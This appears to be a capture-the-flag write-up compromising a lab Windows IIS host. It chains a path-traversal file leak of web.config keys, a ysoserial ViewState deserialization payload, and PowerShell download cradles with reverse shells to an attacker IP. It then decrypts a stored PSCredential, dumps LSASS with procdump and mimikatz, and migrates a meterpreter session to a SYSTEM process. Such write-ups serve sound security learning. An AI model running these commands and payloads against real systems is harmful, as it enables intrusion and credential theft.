# Lessons Learned
- Try to expose `\inetpub\wwwroot\web.config` for context
- Prepare revshell HTTP cradle with `iconv` and `base64`, then run with `powershell`
- Rationale behind using an HTTP cradle: We have feedback as to whether our HTTP server was hit; this provides some AV related intelligence when the HTTP server is triggered but no revshell
```bash
echo "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.197:8000/shell.ps1')" | iconv -t utf-16le | base64 -w 0
```
```powershell
powershell -enc above_output
```
- Decrypt a `PSCredential`
```powershell
$PSCredential = Import-CliXml -Path cred_file
$PSCredential.GetNetworkCredential().Password
```
- When we have the `SeDebugPrivilege` generate a `meterpreter` session to easily migrate to a process that runs as `SYSTEM` > GG
- Candidate processes running as `SYSTEM`: `lsass`, `winlogon`, `vmtoolsd`
---
# After-Action Attack Sequence
- BLUF: LFI to expose `web.config`, IIS deserialization attack to inject a malicious `viewstate` parameter, abuse `SeDebugPrivilege` by migrating to a process running as `SYSTEM`
- Find hint wrt the existence of `dev.pov.htb` on `pov.htb`
- `dev.pov.htb` has a downloadable CV and a contact form - both of which send POST requests
- Perform LFI on the CV related POST to expose `\inetpub\wwwroot\web.config`
- Merely a filter in `..\` without recursion
- This exposes a machine key with a decryption key and a validation key
- Prepare a revshell HTTP cradle by converting to UTF-16 LE and base64
- Then, leverage `ysoserial.exe` on Windows host to create a `viewstate` payload with the revshell HTTP cradle
```powershell
echo "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.197:8000/shell.ps1')" | iconv -t utf-16le | base64 -w 0
```
- This provides a shell as `pov\sfitz`
- We find `connection.xml` in `\users\sfitz\documents` with a `PSCredential` for `pov\alaading`
- Decrypt the `PSCredential` for `pov\alaading`
- Leverage `RunasCs.exe` to pop a revshell as `pov\alaading`
- We have the `SeDebugPrivilege`
- Create a `meterpreter` payload with `msfvenom` to gain a `meterpreter` session
- From here we can abuse the `SeDebugPrivilege` by simply migrating to a process running as `SYSTEM`
---
# Discover Ports & Services
- `ping` test ![[images/Pasted image 20260405192605.png]]
- Windows host based on TTL value
- `nmap` scan - light ![[images/Pasted image 20260405192635.png]]
- `nmap` scan - detailed ![[images/Pasted image 20260405192916.png]]
- `nmap` scan - UDP ![[images/Pasted image 20260405192821.png]]
---
# Port 80 (http) Enum: IIS 10.0
## `pov.htb`
- Visit page
- Bottom of page has some interesting info such as an admin email, `dev.pov.htb`, and contact us ![[images/Pasted image 20260405193504.png]]
- Add to `/etc/hosts`
- View source for contact us ![[images/Pasted image 20260405193535.png]]
- request:response in `burp` ![[images/Pasted image 20260405193306.png]]
- Try `robots.txt` and `sitemap.xml` > nothing, both default 404s
- Try `index.html` and `index.php`
- html brings me to the home page, php throws a 404
- think this is because the IIS webserver is using `asp.net`
- Try random page > default 404
- Test submittal to contact us ![[images/Pasted image 20260405195419.png]]
- Literally nothing happens > no http request
## `dev.pov.htb`
- Visit page ![[images/Pasted image 20260405194551.png]]
- View source ![[images/Pasted image 20260405195923.png]]![[images/Pasted image 20260405194700.png]]
- Only unique page is `dev.pov.htb/portfolio/contact.aspx`; the rest have a # meaning they are sections of the home page
- Interesting to see `dev.pov.htb:8080` > we did not see 8080 open with initial `nmap` scan
- follow-up `nmap` scan after seeing indication of port 8080 ![[images/Pasted image 20260405195845.png]]
- when we try visiting `dev.pov.htb:8080`, it hangs
- request:response in `burp` ![[images/Pasted image 20260405194810.png]]
- redirects us to `dev.pov.htb/portfolio`
- Able to download CV ![[images/Pasted image 20260405200058.png]]
- View request:response in `burp` ![[images/Pasted image 20260406191033.png]]
- View `dev.pov.htb/portfolio/contact.aspx` ![[images/Pasted image 20260405195107.png]]
- Try a test submittal ![[images/Pasted image 20260405195245.png]]
- interesting `burp` request:response with a POST ![[images/Pasted image 20260405195732.png]]
## Web fuzzing
- Vhost fuzzing: start here because we already knows that `dev.pov.htb` exists
- `top1million-20000` ![[images/Pasted image 20260405200402.png]]
- Subdomain fuzzing
- `top1million-20000` ![[images/Pasted image 20260405200737.png]]
- Directory fuzzing
- `dev.pov.htb`
- `raft-medium` ![[images/Pasted image 20260405201915.png]]
- `2.3-medium` ![[images/Pasted image 20260405201759.png]]
- Why did we not pickup portfolio?
- It should be in there ![[images/Pasted image 20260405202144.png]]
- Must be the redirect
- `raft-medium` > try again with `-fw 9` ![[images/Pasted image 20260405202932.png]]
- `feroxbuster` on `dev.pov.htb` > not much found ![[images/Pasted image 20260405204522.png]]
- `pov.htb` > `2.3-medium` ![[images/Pasted image 20260405201426.png]]
- Page fuzzing
- `dev.pov.htb/portfolio/FUZZ.aspx` ![[images/Pasted image 20260405202900.png]]
## Revisit CV
- Send POST associated with the CV download to repeater
- Try `....//....//web.config` ![[images/Pasted image 20260406191508.png]]
- Clearly there is no recursive filtering only a filter on `../`
- Try `....//web.config` ![[images/Pasted image 20260406191603.png]]
- This leaks a decryption key and a validation key
---
# Foothold: Deserialization Attack Against ViewState Parameter
## Test with `ping`
- [pwntester/ysoserial.net: Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
- Includes a plugin for generating an XML payload for `MachineKey` ![[images/Pasted image 20260406192639.png]]
- View examples for the `viewstate` plugin
```powershell
.\ysoserial.exe -p viewstate --examples
```
![[images/Pasted image 20260406193439.png]]
- Prepare test command with `ping`
```cmd
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "ping 10.10.14.197"
```
- Start `tcpdump`
```bash
sudo tcpdump -n -i tun0 icmp
```
- Insert output into POST `viewstate` parameter and send request ![[images/Pasted image 20260406194241.png]]
- Observe `tcpdump` > we got some pings ![[images/Pasted image 20260406194236.png]]
## `Revshell`
- First, grab a `nishang` one-liner like `Invoke-PowerShellTcpOneLine.ps1` ![[images/Pasted image 20260406194800.png]]
- Insert our IP and port ![[images/Pasted image 20260406194950.png]]
- Now serve up the `nishang` one-liner ![[images/Pasted image 20260406195117.png]]
- Setup listener ![[images/Pasted image 20260406195446.png]]
### Attempt 1: `IEX(IWR)`
- Prepare command with `IEX (IWR)`
```bash
echo "IEX (IWR http://10.10.14.197:8000/shell.ps1)" | iconv -t utf-16le | base64 -w 0
```
![[images/Pasted image 20260406200159.png]]
```cmd
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -enc SQBFAFgAIAAoAEkAVwBSACAAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgAxADkANwA6ADgAMAAwADAALwBzAGgAZQBsAGwALgBwAHMAMQApAAoA"
```
- Insert output into POST `viewstate` parameter and send request > hit on http server but no hit on listener
### Attempt 2: `IEX(New-Object Net.WebClient).DownloadString`
- Prepare command with `IEX(New-Object Net.WebClient).DownloadString`
```bash
echo "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.197:8000/shell.ps1')" | iconv -t utf-16le | base64 -w 0
```
![[images/Pasted image 20260406202214.png]]
```cmd
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEAOQA3ADoAOAAwADAAMAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQAKAA=="
```
- Insert output into POST `viewstate` parameter and send request ![[images/Pasted image 20260406203411.png]]
- Now we have a shell! ![[images/Pasted image 20260406202311.png]]
## Shell as `pov\sfitz`
- No user flag ![[images/Pasted image 20260406202618.png]]
- View `connection.xml`
- We have an encrypted `PSCredential` for `alaading` ![[images/Pasted image 20260406203319.png]]
### Decrypt `PSCredential` for `alaading`
- Use method sequence to decrypt `PSCredential` for `alaading`
```powershell
$password = convertto-securestring encrypted_password
$credential = new-object system.management.automation.pscredential -argumentlist "alaading",$password
$credential.getnetworkcredential().password
```
![[images/Pasted image 20260406210038.png]]
- Alternative (simpler) method to decrypt the `PSCredential` for `alaading`
```powershell
$PSCredential = Import-CliXml -Path connection.xml
$PSCredential.GetNetworkCredential().Password
```
---
# Shell as `pov\alaading`
- Use `RunasCs.exe` to open a new revshell as `alaading`
```powershell
certutil.exe -urlcache -split -f http://10.10.14.197:8000/RunasCs.exe runascs.exe
.\runascs.exe alaading password powershell.exe -r 10.10.14.197:9002
```
![[images/Pasted image 20260407195250.png]]
![[images/Pasted image 20260407195305.png]]
- We have a shell ![[images/Pasted image 20260407195334.png]]
- Check `whoami /all` ![[images/Pasted image 20260407195353.png]]
- We have the `SeDebugPrivilege` enabled
---
# Privesc: Abuse `SeDebugPrivilege`
## Attempt 1: `procdump` and `mimikatz` targeting LSASS
- From here let's move `procdump.exe` and `mimikatz.exe` to the target
```powershell
certutil.exe -urlcache -split -f http://10.10.14.197:8000/procdump.exe procdump.exe
certutil.exe -urlcache -split -f http://10.10.14.197:8000/mimikatz.exe mimi.exe
```
![[images/Pasted image 20260407200215.png]]
- Now, run `procdump.exe` to dump LSASS
```cmd
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp
```
![[images/Pasted image 20260407200325.png]]
- Run `mimikatz.exe`
```cmd
.\mimi.exe -q
mimikatz # log
mimikatz # privilege::debug
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```
![[images/Pasted image 20260407200541.png]]
- Nothing for SYSTEM
## Attempt 2: `psgetsys.ps1`
- Move`psgetsys.ps1` to the target
```powershell
certutil.exe -urlcache -split -f http://10.10.14.197:8000/psgetsys.ps1 psgetsys.ps1
```
![[images/Pasted image 20260407200950.png]]
- Run `tasklist` to determine PID of a process running as `SYSTEM`
- We could target `lsass`, `winlogon`, or `vmtoolsd` > 2336
```powershell
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(2236,"c:\windows\system32\cmd.exe","whoami")
```
- Getting errors > this won't work because we are not on an RDP session ![[images/Pasted image 20260407202039.png]]
## Attempt 3: process migration with `msf`
- First, create a `meterpreter` payload with `msfvenom`
```bash
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.197 LPORT=9003 -f exe -o meterpreter_shell.exe
```
![[images/Pasted image 20260407202357.png]]
- Move `meterpreter_shell.exe` to target
```powershell
certutil.exe -urlcache -split -f http://10.10.14.197:8000/meterpreter_shell.exe shell.exe
```
![[images/Pasted image 20260407202459.png]]
- Setup `exploit/multi/handler` in `msf` and run
![[images/Pasted image 20260407202730.png]]
- Execute `shell.exe` on the target
```powershell
.\shell.exe
```
- We have a `meterpreter` session ![[images/Pasted image 20260407202959.png]]
- Migrate to PID 2336 for `vmtoolsd` like we tried above with `psgetsys.ps1` ![[images/Pasted image 20260407203052.png]]
- Drop into a shell and collect the flag ![[images/Pasted image 20260407203124.png]]